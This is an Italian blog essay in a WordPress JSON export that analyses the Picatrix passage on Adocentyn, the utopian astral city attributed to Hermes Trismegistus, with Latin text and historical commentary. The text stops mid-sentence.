{"id":2259,"date":"2024-08-29T03:44:45","date_gmt":"2024-08-29T03:44:45","guid":{"rendered":"http:\/\/www.elenafrascaodorizzi.it\/artheablog\/?p=2259"},"modified":"2026-06-10T22:09:36","modified_gmt":"2026-06-10T22:09:36","slug":"adocentyn-alchimia","status":"publish","type":"post","link":"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/adocentyn-alchimia\/","title":{"rendered":"Adocentyn, La Magica Citt\u00e0 Utopica di Ermete Trismegisto"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">di ARTHEA (Elena Frasca Odorizzi), Illustratrice e Saggista, \u00a9 Tutti i Diritti Riservati<\/p>\n\n\n<p lang=\"it-IT\" align=\"JUSTIFY\"><a href=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2011\/10\/riflessioni_esoteriche_libro_alchimia_massoneria_sf.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-4912\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2023\/09\/riflessioni_esoteriche_libro_alchimia_massoneria_2.jpg\" alt=\"\" width=\"192\" height=\"260\"><\/a>Potete leggere <span style=\"color: #000000;\">in questa pagina<\/span> il mio Saggio su <em>Adocentyn, la Magica Citt\u00e0 Utopica di Ermete Trismegisto<\/em> sul <a href=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/libro-riflessioni-sullesoterismo-alchimia-e-massoneria\/\">miolibro.it<\/a><\/p>\n<p lang=\"it-IT\" style=\"text-align: left;\" align=\"JUSTIFY\"><span style=\"color: #000000;\">INDICE<\/span><\/p>\n<p lang=\"it-IT\" style=\"text-align: left;\" align=\"JUSTIFY\">1) Testo in Latino e Analisi del Testo<br>2) La Profezia dell&#8217;Asclepius<br>3) I Culti Astrali di Harran<br>4) Adocentyn e le Citt\u00e0 Utopiche Rinascimentali<br>5) In Viaggio Verso Adocentyn.<\/p>\n<h1 lang=\"it-IT\" style=\"text-align: left;\" align=\"CENTER\"><span style=\"font-size: large; color: #000000;\"><b>IL PICATRIX E LA CITT\u00c1 DI ADOCENTYN<\/b><\/span><\/h1>\n<p lang=\"it-IT\" style=\"text-align: left;\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">\u00abMa c&#8217;\u00e8 sempre Adocentyn, maman&#8230;<br>La Salvezza, la Citt\u00e0 illuminata dal Sole dove<br>accorrer\u00e0 il genere umano e si incontrer\u00e0 con gli D\u00e8i!<br>Qualcosa vorr\u00e0 pur dire!\u00bb.<br>\u00abS\u00ec, <i>mon chou<\/i>, anche se tutto fallisse potremo<br>continuare a sperare in Adocentyn,<br>come disse Trismegisto<a class=\"sdfootnoteanc\" href=\"#sdfootnote1sym\" name=\"sdfootnote1anc\"><sup>1<\/sup><\/a>.\u00bb<\/span><\/span><\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\"><span style=\"color: #333333;\">Tra i Libri \u201cproibiti\u201d che ebbero maggior diffusione nel Tardo Medioevo e nel Rinascimento c\u2019\u00e8 un testo di <i>magia simpatica<\/i> chiamato <i>Picatrix<\/i><a class=\"sdfootnoteanc\" style=\"color: #333333;\" href=\"#sdfootnote2sym\" name=\"sdfootnote2anc\"><sup>2<\/sup><\/a> il cui titolo originale \u00e8 <i>G\u0101yat-al-hak\u012bm <\/i>(il Fine del Saggio). Nel testo sono descritti e prescritti astrusi Talismani da utilizzare <i>per la cura del mal di denti, per evadere dal carcere, per avere fortuna negli affari, per prevalere sui rivali, per attirare l&#8217;amore, per prolungare la vita<\/i> e cos\u00ec via. Nel IV Libro (Capitolo III) l&#8217;Autore si spinge oltre e spiega come realizzare un Talismano per <i>diventare <\/i><i>invisibili<\/i>, attribuendone la paternit\u00e0 a <i>Ermete Trismegisto<\/i>. Per rendere ancora pi\u00f9 credibili le sue affermazioni aggiunge che fu proprio <i>Ermete<\/i> a inventare la <i>Magia delle Immagini<\/i> con la quale fond\u00f2 anche una prodigiosa <i>Citt\u00e0 Astrale<\/i> di nome <i>Adocentyn<\/i>. Il testo prosegue con una breve, ma esaustiva, descrizione di questa incredibile Citt\u00e0 che non appare citata in nessun altro libro, prima del <i>Picatrix<\/i>:<\/span><\/p>\n<blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">I Magi Caldei asseriscono che Ermete fu il primo a costruire immagini con le quali controllava il corso del Nilo a seconda delle variazioni lunari. Egli eresse poi un Tempio al Sole e vi si nascondeva in modo da essere sempre presente ma invisibile. Fu lui inoltre a costruire nell&#8217;Egitto orientale una citt\u00e0 la cui lunghezza era 12 miglia, e in essa un castello con 4 porte, su ognuno dei 4 lati. Pose la figura di un&#8217;Aquila sulla Porta d&#8217;Oriente, la figura di un Toro sulla Porta d&#8217;Occidente, la figura di un Leone sul quella Meridionale [Sud] e la figura di un Cane sul quella Settentrionale [Nord]. In queste immagini fece entrare forme spirituali che parlavano, e nessuno poteva entrare senza il loro consenso. Piant\u00f2 degli alberi in mezzo ai quali ve ne era uno grande che portava appese ai rami le generazioni di tutti i frutti. Sulla sommit\u00e0 del castello fece edificare una torre alta venti cubiti, ponendovi sopra un faro (lat. rotunda) per illuminare la citt\u00e0 con luci che cambiavano colore per 7 giorni. Alla fine dei sette giorni riprendeva il colore che aveva assunto per primo. La citt\u00e0 ogni giorno era coperta dalla luce colorata del faro e perci\u00f2 ogni giorno rifulgeva di un determinato colore. Lungo il perimetro della Torre vi era grande abbondanza di acqua e in essa molte specie di pesci. Attorno al perimetro della citt\u00e0 colloc\u00f2 immagini intagliate che avevano il potere di proteggere gli abitanti da ogni male e di mantenerli sani e virtuosi. Questa citt\u00e0 si chiamava<i> Adocentyn<\/i>. Coloro che ci vivevano conoscevano profondamente le scienze degli antichi e i loro segreti, nonch\u00e9 le scienze astronomiche. Io stesso vidi una costruzione cos\u00ec ordinata per nascondervi un uomo<a class=\"sdfootnoteanc\" href=\"#sdfootnote3sym\" name=\"sdfootnote3anc\"><sup>3<\/sup><\/a>.<\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" align=\"CENTER\"><span style=\"color: #000000;\"><b>TESTO IN LATINO<\/b><\/span><\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">Sunt etenim magi qui in hac sciencia et opere se intromiserunt Caldei; hi namque in hac perfectiores habentur sciencia. Ipsi vero asserunt quod Hermes primitus quandam domum ymaginum construxit, ex quibus quantitatem Nili contra Montem Lune agnoscebat; hic autem domum fecit Solis. Et taliter ab hominibus se abscondebat quod nemo secum existens valebat eum videre. Iste vero fuit qui orientalem Egipti edificavit civitatem cuius longitudo duodecim miliariorum consistebat, in qua quidem construxit castrum quod in quatuor eius partibus quatuor habebat portas. In porta vero orientis formam aquile posuit, in porta vero occidentis formam tauri, in meridionali vero formam leonis, et in septentrionali canis formam construxit. In eas quidem spirituales spiritus fecit intrare qui voces proiciendo loquebantur; nec aliquis ipsius portas valebat intrare nisi eorum mandato. Ibique quasdam arbores plantavit, in quarum medio magna consistebat arbor que generacionem fructuum omnium apportabat. In summitate vero ipsius castri quandam turrim edificari fecit, que triginta cubitorum longitudinem attingebat, in cuius summitate pomum ordinavit rotundum, cuius color qualibet die usque ad septem dies mutabatur. In fine vero septem dierum priorem quem habuerat recipiebat colorem. IlIa autem civitas quotidie ipsius mali cooperiebatur colore, et sic civitas predicta qualibet die refulgebat colore. In turris quidem circuitu abundans erat aqua, in qua quidem plurima genera piscium permanebant. In circuitu vero civitatis ymagines divers as et quarumlibet manerierum ordinavit, quarum virtute virtuosi efficiebantur habitantes ibidem et a turpitudine malisque languoribus nitidi. Predicta vero civitas Adocentyn vocabatur. Hi autem in antiquorum scienciis, earum profunditatibus et secretis atque in astronomie sciencia erant edocti. Ego autem vidi composicionem quandam ad hominem abscondendum taliter ordinatam<a class=\"sdfootnoteanc\" href=\"#sdfootnote4sym\" name=\"sdfootnote4anc\"><sup>4<\/sup><\/a>.<\/span><\/span><\/p>\n<p lang=\"it-IT\" style=\"text-align: center;\" align=\"CENTER\"><span style=\"color: #000000;\"><b>ANALISI DEL TESTO<\/b><\/span><\/p>\n<p lang=\"it-IT\" style=\"text-align: justify;\"><span style=\"color: #333333;\">La caratteristiche magiche di Adocentyn sono degne di una Favola, ma una volta sollevato il velame fiabesco emergono concrete informazioni a carattere storico e allegorico, particolarmente stimolanti per coloro che conoscono <i><a href=\"https:\/\/www.elenafrascaodorizzi.it\/libri\/alchimia-viaggio-nella-tavola-di-smeraldo-tra-protochimica-e-filosofia-ermetica-origini-significato-e-attualita\/\">Ermete Trismegisto<\/a><\/i> pi\u00f9 come il \u00abPadre dell&#8217;Alchimia\u00bb che come il Primo \u00abMagus\u00bb<\/span><span style=\"color: #000000;\"><i><span style=\"color: #333333;\">.<\/span> <\/i><\/span><\/p>\n<blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">I Magi Caldei asseriscono che Ermete fu il primo a costruire immagini con le quali controllava il corso del Nilo a seconda delle variazioni lunari.<\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\">Il testo inizia con una affermazione che ci ricorda come ai tempi del <i>Picatrix<\/i> esistesse ancora una sorta di rivalit\u00e0 tradizionale tra la <i>Magia Teurgica Egizia <\/i>e la <i>Scienza Caldea dei Magi. <\/i>Il principio alla base dei due metodi (\u00abla Legge di Simpatia\u00bb) era lo stesso, ma secondo<i> Zosimo di Panopoli<\/i><a class=\"sdfootnoteanc\" href=\"#sdfootnote5sym\" name=\"sdfootnote5anc\"><sup>5<\/sup><\/a><i> <\/i>(il primo Alchimista storicamente riconosciuto) la Scienza dei seguaci di <i>Ermete <\/i>era \u00abspirituale e iniziatica\u00bb, mentre quella dei seguaci di <i>Zoroastro <\/i>era \u00abutilitaristica e mondana\u00bb. La prima serviva a richiamare \u00abesseri spirituali superiori\u00bb dentro corpi fisici provvisori, per comunicare con <i>loro<\/i> o per ascendere a \u00abmondi superiori\u00bb, la seconda \u00abfaceva violenza\u00bb a <i>spiriti di ogni genere<\/i>, imprigionandoli <i>contro la loro Volont\u00e0<\/i> in oggetti magici speciali, che venivano poi usati per ottenere benefici materiali<a class=\"sdfootnoteanc\" href=\"#sdfootnote6sym\" name=\"sdfootnote6anc\"><sup>6<\/sup><\/a>.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">L&#8217;Autore del <i>Picatrix<\/i> risolve a modo suo la questione affermando che i Magi stessi ritenevano <i>Ermete<\/i> <i>Trismegisto<\/i> il Padre di entrambe le <i>Scuole Magiche<\/i> e quindi dell&#8217;Arte di modificare il <i>Destino<\/i> tramite l&#8217;uso di <i>Immagini<a class=\"sdfootnoteanc\" href=\"#sdfootnote7sym\" name=\"sdfootnote7anc\"><sup>7<\/sup><\/a><\/i>.<\/p>\n<p lang=\"it-IT\" align=\"JUSTIFY\">La verit\u00e0 \u00e8 molto pi\u00f9 semplice: tanto gli Egizi che i Mesopotamici possedevano una loro <i>Magia Astrale<\/i>, un&#8217;<i>Arte Reale <\/i>destinata esclusivamente ai <i>Re<\/i> e ai <i>Sacerdoti,<\/i> allo scopo di fondare Citt\u00e0, costruire Templi, comunicare con gli D\u00e8i, trasmutare le materie prime in mezzi di sussistenza. Durante l&#8217;epoca Alessandrina entrambi i popoli persero la loro millenaria indipendenza politica e la <i>forzata ellenizzazione<\/i> port\u00f2 all&#8217;imbarbarimento delle rispettive <i>Scienze Sacre<\/i>, che vennero diffuse al di fuori dei loro Stati di origine, mescolandosi alla Filosofia Greca degli invasori e ai Culti Misterici degli altri Paesi assoggettati. In questo sfrenato <i>eclettismo<\/i> nacquero anche nuove Divinit\u00e0 tra cui lo stesso <i>Ermete Trismegisto<\/i>, il quale, assommando in s\u00e9 le caratteristiche del Dio Greco <i>Ermete<\/i> e del Dio Egizio <i>Thtot<\/i>, prevalse automaticamente sulla figura di <i>Zoroastro<\/i>, che invece era \u201csolo\u201d un Profeta. Ci\u00f2 spiega anche la presunta influenza di <i>Ermete<\/i> sul corso del Nilo. Il suo \u00abalter ego\u00bb <i>Thot <\/i>era infatti<i> <\/i>una <i>Divinit\u00e0 Lunare<\/i>, molto pi\u00f9 complessa e importante del suo corrispettivo Greco, il cui potere non solo regolava le Maree, ma tutte le attivit\u00e0 agricole, magiche, religiose e civili egizie, influenzate dai Cicli Lunari e dagli Astri<a class=\"sdfootnoteanc\" href=\"#sdfootnote8sym\" name=\"sdfootnote8anc\"><sup>8<\/sup><\/a>.<\/p>\n<blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">Egli eresse poi un Tempio al Sole e vi si nascondeva in modo da essere sempre presente ma invisibile.<\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\">In questo passo l&#8217;Autore spiega che fu <i>Ermete<\/i> a creare per primo <i>l&#8217;incantesimo dell&#8217;Invisibilit\u00e0<\/i> costruendo un <i>Tempio Solare<\/i> che gli consentiva di essere presente senza essere visto. Viene spontaneo chiedersi perch\u00e9 mai <i>Ermete<\/i>, un <i>Dio Lunare, <\/i>avrebbe dovuto creare e usare un <i>Tempio Solare<\/i> e in che modo questo si lega al suo presunto potere di divenire invisibile? Anche in questo caso la Realt\u00e0 Storica nascosta dietro la <i>leggenda<\/i> \u00e8 piuttosto semplice: in Egitto il Dio <i>Thot<\/i> era assimilato all&#8217;astro lunare, ma la <i>Luna Nuova<\/i> era assimilata a sua volta al \u201cSole Morto\u201d, il Sole d&#8217;Inverno, perch\u00e9 entrambi splendono nascosti alla vista degli Esseri Umani, ma sono comunque sempre presenti<i><a class=\"sdfootnoteanc\" href=\"#sdfootnote9sym\" name=\"sdfootnote9anc\"><sup>9<\/sup><\/a><\/i>. A conferma di ci\u00f2 <i>Thot, <\/i>nella citt\u00e0 di <i>Ermopoli, <\/i>era considerato una Divinit\u00e0 Demiurga che proteggeva la Sacra <i>Ogodoade<\/i> (gli <i>8 D\u00e8i primigeni<\/i>)<i> <\/i>e aveva in custodia <i>l&#8217;Uovo Cosmico<\/i>, il \u201cSole Addormentato\u201d, che lui stesso aveva posto sulla <i>Collina Sacra<\/i>, affinch\u00e9 si schiudesse.<\/p>\n<blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">Fu lui inoltre a costruire nell&#8217;Egitto orientale una citt\u00e0 la cui lunghezza era 12 miglia, e in essa un castello con 4 porte, su ognuno dei 4 lati.<\/span><\/span><\/p>\n<\/blockquote>\n<p align=\"JUSTIFY\"><span lang=\"it-IT\"><br>Non esistono notizie storiche o conferme archeologiche che questo luogo, situato nell&#8217;Egitto Orientale, sia mai esistito e non \u00e8 <\/span><span lang=\"it-IT\">chiaro neanche come mai il testo latino traslitteri con l&#8217;intraducibile parola <\/span><span lang=\"it-IT\"><i>Adocentyn<\/i><\/span><span lang=\"it-IT\">, l&#8217;originale arabo \u00abal-A\u0161munain\u00bb<\/span><span lang=\"it-IT\"><i><a class=\"sdfootnoteanc\" href=\"#sdfootnote10sym\" name=\"sdfootnote10anc\"><sup>10<\/sup><\/a><\/i><\/span><span lang=\"it-IT\">. Sappiamo per\u00f2 che quest&#8217;ultimo termine corrisponde al<\/span><span lang=\"it-IT\"> toponimo arabo <\/span><span lang=\"it-IT\"><i>El-Ashmunein, <\/i><\/span><span lang=\"it-IT\">che a sua volta deriva dal copto<\/span><span lang=\"it-IT\"><i> Shmu<\/i><\/span><span lang=\"it-IT\"><i>n<\/i><\/span><span lang=\"it-IT\">, traslitterazione del nome dell&#8217;antica Citt\u00e0 di <\/span><span lang=\"it-IT\"><i>Kh(e)m(e)nu<\/i><\/span><span lang=\"it-IT\"> (letteralmente la \u00abCitt\u00e0 degli Otto\u00bb), che i Greci ribattezzarono <\/span><span lang=\"it-IT\"><i>Ermopolis<\/i><\/span><span lang=\"it-IT\">, ovvero la citt\u00e0 di <\/span><span lang=\"it-IT\"><i>Ermete.<\/i><\/span><\/p>\n<p align=\"JUSTIFY\"><span lang=\"it-IT\"><i>Adocentyn<\/i><\/span><span lang=\"it-IT\"> potrebbe dunque voler dire semplicemente <\/span><span lang=\"it-IT\"><i>Citt\u00e0 di Ermes\/Thot<\/i><\/span><span lang=\"it-IT\">, cio\u00e8 di <\/span><span lang=\"it-IT\"><i>Ermete Trismegisto<\/i><\/span><span lang=\"it-IT\">, ed essere <\/span><span lang=\"it-IT\">una sorta di \u00abNuova Ermopoli\u00bb, una <\/span><span lang=\"it-IT\"><i>Citt\u00e0 Magica<\/i><\/span><span lang=\"it-IT\"> ben pi\u00f9 importante e speciale dell&#8217;antica <\/span><span lang=\"it-IT\"><i>Khmnu<\/i><\/span><span lang=\"it-IT\"> per i seguaci dell&#8217;Ermetismo. Non a caso l&#8217;ho chiamata <\/span><span lang=\"it-IT\"><i>Citt\u00e0 Magica,<\/i><\/span><span lang=\"it-IT\"> perch\u00e9 la sua <\/span><span lang=\"it-IT\"><i>struttura urbanistica<\/i><\/span><span lang=\"it-IT\"> riflette <\/span><span lang=\"it-IT\">perfettamente la forma del <\/span><span lang=\"it-IT\"><i>Templum Quadrato<\/i><\/span><span style=\"color: #000000;\"><span style=\"font-family: times new roman,times;\"><span style=\"font-size: medium;\"><span lang=\"it-IT\"><i><a class=\"sdfootnoteanc\" href=\"#sdfootnote11sym\" name=\"sdfootnote11anc\"><sup>11<\/sup><\/a> <\/i><\/span><\/span><\/span><\/span><span lang=\"it-IT\">o Templum Terrestre, uno spazio <\/span><span lang=\"it-IT\">sacro orientato sull&#8217;incrocio degli Assi Cosmici del <\/span><span lang=\"it-IT\"><i>Templum Celeste<\/i><\/span><span lang=\"it-IT\">,<\/span><span lang=\"it-IT\"> utilizzato dai popoli antichi<a class=\"sdfootnoteanc\" href=\"#sdfootnote12sym\" name=\"sdfootnote12anc\"><sup>12<\/sup><\/a> per le loro pratiche religiose e per i riti di fondazione,<\/span><span lang=\"it-IT\"> in modo che \u00abCi\u00f2 che \u00e8 in basso sia sempre il riflesso armonico della perfezione di Ci\u00f2 che \u00e8 in alto<a class=\"sdfootnoteanc\" href=\"#sdfootnote13sym\" name=\"sdfootnote13anc\"><sup>13<\/sup><\/a>\u00bb.<\/span><\/p>\n<figure id=\"attachment_4911\" aria-describedby=\"caption-attachment-4911\" style=\"width: 790px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4911 size-large\" src=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2023\/09\/immagine_ado-1024x687.jpg\" alt=\"\" width=\"790\" height=\"530\" srcset=\"https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2023\/09\/immagine_ado-1024x687.jpg 1024w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2023\/09\/immagine_ado-300x201.jpg 300w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2023\/09\/immagine_ado-768x515.jpg 768w, https:\/\/www.elenafrascaodorizzi.it\/artheablog\/wp-content\/uploads\/2023\/09\/immagine_ado.jpg 1145w\" sizes=\"auto, (max-width: 790px) 100vw, 790px\" \/><figcaption id=\"caption-attachment-4911\" class=\"wp-caption-text\">Elaborazione artistica contemporanea (Photoshop + AI) \u00a9 Elena Odorizzi, 2025<\/figcaption><\/figure>\n<p lang=\"it-IT\" align=\"JUSTIFY\">Il testo riporta che <i>Adocentyn<\/i> era lunga <i>12 miglia<\/i> e al <i>centro <\/i>vi era un castello <i>quadrato con 4 porte<\/i>, sul quale <i>Ermete<\/i> aveva eretto un <i>Faro<\/i> che proiettava una luce di<i> 7 colori<\/i>. La sua grandezza in \u201cmiglia terrestri\u201d rappresenta esattamente l&#8217;estensione astronomica del <i>Templum Celeste <\/i>diviso in 4 parti dagli <i>Assi Equinoziali<\/i> e <i>Solstiziali,<\/i> nel quale si trova l<i>&#8216;Eclittica<\/i>, il <i>Cerchio Astrologico <\/i>dei<i> 12 Segni Zodiacali,<\/i> che a loro volta sono influenzati dal passaggio dei <i>7 Pianeti<\/i>, rappresentati \u201cin Terra\u201d dai <i>7 Colori <\/i>del Faro che \u201ccolorano\u201d la Citt\u00e0. In totale quindi 23 benefiche energie cosmiche, proteggono e influenzano in modo specifico \u00abLa Citt\u00e0 di Ermete\u00bb rendendola un luogo sacro e unico al mondo<a class=\"sdfootnoteanc\" href=\"#sdfootnote14sym\" name=\"sdfootnote14anc\"><sup>14<\/sup><\/a>.<\/p>\n<blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">Pose la figura di un&#8217;Aquila sulla Porta d&#8217;Oriente, la figura di un Toro sulla Porta d&#8217;Occidente, la figura di un Leone sul quella Meridionale [Sud] e la figura di un Cane sul quella Settentrionale [Nord].<\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\">Al centro di questo eclettico<i> Cosmos Filosfico<\/i><i><a class=\"sdfootnoteanc\" href=\"#sdfootnote15sym\" name=\"sdfootnote15anc\"><sup>15<\/sup><\/a><\/i> c&#8217;\u00e8 il Castello, ovvero <i>l&#8217;Omphalos <\/i>del Cielo i cui ingressi sono protetti da 4 <i>Animali Sacri<\/i>, o meglio dalle loro \u00abImmagini\u00bb. Il loro potere si estende ovviamente fino alle 4 porte dell&#8217;Urbe, che sebbene non siano nominate, non possono che essere l&#8217;estensione degli Assi della Sfera Celeste dal Centro della Fortezza fino ai confini della <i>Citt\u00e0 Astrale<\/i>. I 4 Animali rappresentano le <i>4 direzioni Cosmiche<\/i>, i <i>4 <\/i><i>Elementi <\/i>ad esse associate e le <i>4 Costellazioni Zodiacali<\/i> che vengono a trovarsi rispettivamente a <i>Est<\/i>, a <i>Nord<\/i>, a <i>Ovest<\/i> e a <i>Sud<\/i> degli Assi Solstiziali ed Equinoziali. Stabilire un parallelismo tra i 4 Animali di Adocentyn e le 4 Costellazioni Zodiacali \u00e8 impossibile, in quanto <i>l&#8217;astronomia egiziana<\/i> non era esattamente come <i>l&#8217;astrologia greca<\/i>, che deriva da una rielaborazione delle <i>conoscenze astrali<\/i> <i>mesopotamiche<\/i>. Gli Egiziani non avevano infatti uno Zodiaco di 12 Segni, (lo splendido <i>Zodiaco di Denerah<\/i> \u00e8 di epoca Alessandrina), ma seguivano il levarsi e il tramontare di specifici Astri chiamati <i>Decani<\/i>, che annunciavano le piene del Nilo (controllate come abbiamo visto dal Dio Luna<i> Ermete<\/i>).&nbsp; Nell&#8217;Astrologia ellenistica del <i>Picatrix<\/i> ai 4 punti cardinali <i>cosmici<\/i> dovremmo trovare i segni dell&#8217;<i>Ariete<\/i>, del <i>Cancro<\/i>, della <i>Bilancia<\/i> e del <i>Capricorno<\/i>, in corrispondenza dell&#8217;Est (Fuoco), del Nord\/Nadir (Acqua), dell&#8217;Ovest (Aria) e del Sud\/Zenit (Terra). Inaspettatamente troviamo invece un <i>Aquila<\/i>, un <i>Cane<\/i><a class=\"sdfootnoteanc\" href=\"#sdfootnote16sym\" name=\"sdfootnote16anc\"><sup>16<\/sup><\/a>, un <i>Toro <\/i>e un <i>Leone<\/i>, che anche ricorrendo alla <i>precessione degli equinozi<\/i> non corrispondono alle Costellazioni dello Zodiaco, ma al contrario ricordano i 4 \u201canimali viventi\u201d dell&#8217;<i>Apocalisse di Ezechiele<\/i> (anch&#8217;essi di matrice mesopotamica) con l&#8217;eccezione dell&#8217;<i>Uomo\/Angelo<\/i> sostituito dal <i>Cane<a class=\"sdfootnoteanc\" href=\"#sdfootnote17sym\" name=\"sdfootnote17anc\"><sup>17<\/sup><\/a><\/i>. Si potrebbe tentare allora di collegare i 4 Animali a 4 Divinit\u00e0 egiziane: il <i>Leone <\/i>potrebbe essere la <i>Sfinge,<\/i> oppure la Dea Leonessa S<i>ekhmet<\/i>, il <i>Toro<\/i> potrebbe indicare il<i> Dio Apis<\/i>, mentre il <i>Cane<\/i> potrebbe essere il <i>Dio Anubis<\/i>. Le possibilit\u00e0 per\u00f2 si fermano qui, perch\u00e9 in Egitto non c&#8217;erano Aquile e gli Egizi veneravano o il Dio Falco <i>Horus <\/i>oppure la Dea Avvoltoio <i>Nekhbet<\/i>.<\/p>\n<blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">In queste immagini fece entrare forme spirituali che parlavano, e nessuno poteva entrare senza il loro consenso.<\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\">Forse la scelta di queste <i>immagini animali di potere<\/i> \u00e8 semplicemente il frutto dell&#8217;imbarbarimento simbolico e culturale tipico dei <i>Grimori Medievali<\/i>. Quel che conta forse \u00e8 solo il loro significato magico, perch\u00e9, anche se gli Animali non corrispondo a quelli delle Costellazioni o delle Divinit\u00e0 Egizie, l&#8217;uso di<i> immagini<\/i> \u00abvivificate\u00bb e quindi \u00abviventi\u00bb per rappresentare le 4 Direzioni Celesti, ci porta direttamente alla <i>Magia Teurgica<\/i> dei Sacerdoti Egizi, che il Libro tocca di sfuggita giusto per autoreferenziarsi un po&#8217;. L&#8217;immagine di <i>Ermete<\/i> che fa entrare <i>intelligenze spirituali<\/i> nelle rispettive figure animali, che richiedono una <i>Parola di Passo<\/i>, per permettere l&#8217;ingresso alla Citt\u00e0 e al Castello, non \u00e8 altro che il ricordo distorto delle antiche Cerimonie Misteriche e Religiose degli Egizi nelle quali il Sacerdote praticava il rituale <i>dell&#8217;apertura della bocca <\/i>sulle statue di legno degli D\u00e8i, che in Egitto erano quasi tutti <i>teriomorfi<\/i>, avevano cio\u00e8 sia forma umana, che animale, che mista<a class=\"sdfootnoteanc\" href=\"#sdfootnote18sym\" name=\"sdfootnote18anc\"><sup>18<\/sup><\/a>. Tramite queste cerimonie le Divinit\u00e0 Celesti prendevano possesso di corpi costruiti appositamente per loro, e si manifestavano sul piano fisico, dimorando nelle loro Case Terrestri (i Templi), dove venivano accuditi e venerati dai fedeli. Questa usanza religiosa entr\u00f2 poi nell&#8217;uso funerario e venne applicata, prima alle statue dei Faraoni, poi alle Mummie dei Re e dei Defunti di alto ragno, che cos\u00ec potevano recitare incantesimi salvifici nell&#8217;Aldil\u00e0 e discolparsi davanti a Osiride e ai suoi 42 giudici, enumerando le azioni malvagie che <i>non<\/i> avevano compiuto da vivi. Evidentemente i Greci, come tutti i dominatori, rielaborarono a modo loro questi rituali religiosi e li ribattezzarono con il nome di <i>Magia Teurgica<\/i> senza capirne realmente il significato religioso e la portata culturale. Due sono i testi greci tardo-antichi pi\u00f9 famosi (ma non certo pi\u00f9 chiari) sull&#8217;argomento: un libro della fine del III secolo d.C., scritto dal filosofo neoplatonico <i>Giamblico, <\/i>intitolato i <i>Misteri degli Egizi<a class=\"sdfootnoteanc\" href=\"#sdfootnote19sym\" name=\"sdfootnote19anc\"><sup>19<\/sup><\/a><\/i>, e l<i>&#8216;Asclepius<\/i><i><a class=\"sdfootnoteanc\" href=\"#sdfootnote20sym\" name=\"sdfootnote20anc\"><sup>20<\/sup><\/a><\/i><i>,<\/i> un trattato ermetico del IV secolo d.C., attribuito a <i>Ermete Trismegisto<\/i>, che parla esplicitamente di <i>Magia Teurgica<\/i> e nel quale vengono esposte vagamente le pratiche dei sacerdoti egizi volte ad animare statue tramite l&#8217;interazione con forze divine sovrannaturali.<\/p>\n<blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">Piant\u00f2 degli alberi in mezzo ai quali ve ne era uno grande che portava appese ai rami le generazioni di tutti i frutti. Sulla sommit\u00e0 del castello fece edificare una torre alta venti cubiti, ponendovi sopra un faro (lat. rotunda) per illuminare la citt\u00e0 con luci che cambiavano colore per 7 giorni. Alla fine dei sette giorni riprendeva il colore che aveva assunto per primo. La citt\u00e0 ogni giorno era coperta dalla luce colorata del faro e perci\u00f2 ogni giorno rifulgeva di un determinato colore. Lungo il perimetro della Torre vi era grande abbondanza di acqua e in essa molte specie di pesci.<\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" align=\"JUSTIFY\"><i>Ermete<\/i>,<i> <\/i>dunque, non solo fond\u00f2<i> Adocentyn<\/i>, ma le dette <i>inviolabili leggi cosmiche<\/i> con cui nutriva sia spiritualmente che materialmente<a class=\"sdfootnoteanc\" href=\"#sdfootnote21sym\" name=\"sdfootnote21anc\"><sup>21<\/sup><\/a> i suoi abitanti<i><a class=\"sdfootnoteanc\" href=\"#sdfootnote22sym\" name=\"sdfootnote22anc\"><sup>22<\/sup><\/a><\/i>.<\/p>\n<blockquote>\n<p lang=\"it-IT\" style=\"text-align: justify;\" align=\"JUSTIFY\"><span style=\"font-family: Arial,sans-serif;\"><span style=\"font-size: small;\">Attorno al perimetro della citt\u00e0 colloc\u00f2 immagini intagliate che avevano il potere di proteggere gli abitanti da ogni male e di mantenerli sani e virtuosi. Questa citt\u00e0 si chiamava<i> Adocentyn<\/i>. Coloro che ci vivevano conoscevano profondamente le scienze degli antichi e i loro segreti, nonch\u00e9 le scienze astronomiche.<\/span><\/span><\/p>\n<\/blockquote>\n<p lang=\"it-IT\" style=\"text-align: justify;\">Poich\u00e9 \u00abnel gregge della Fatalit\u00e0 non cadono i 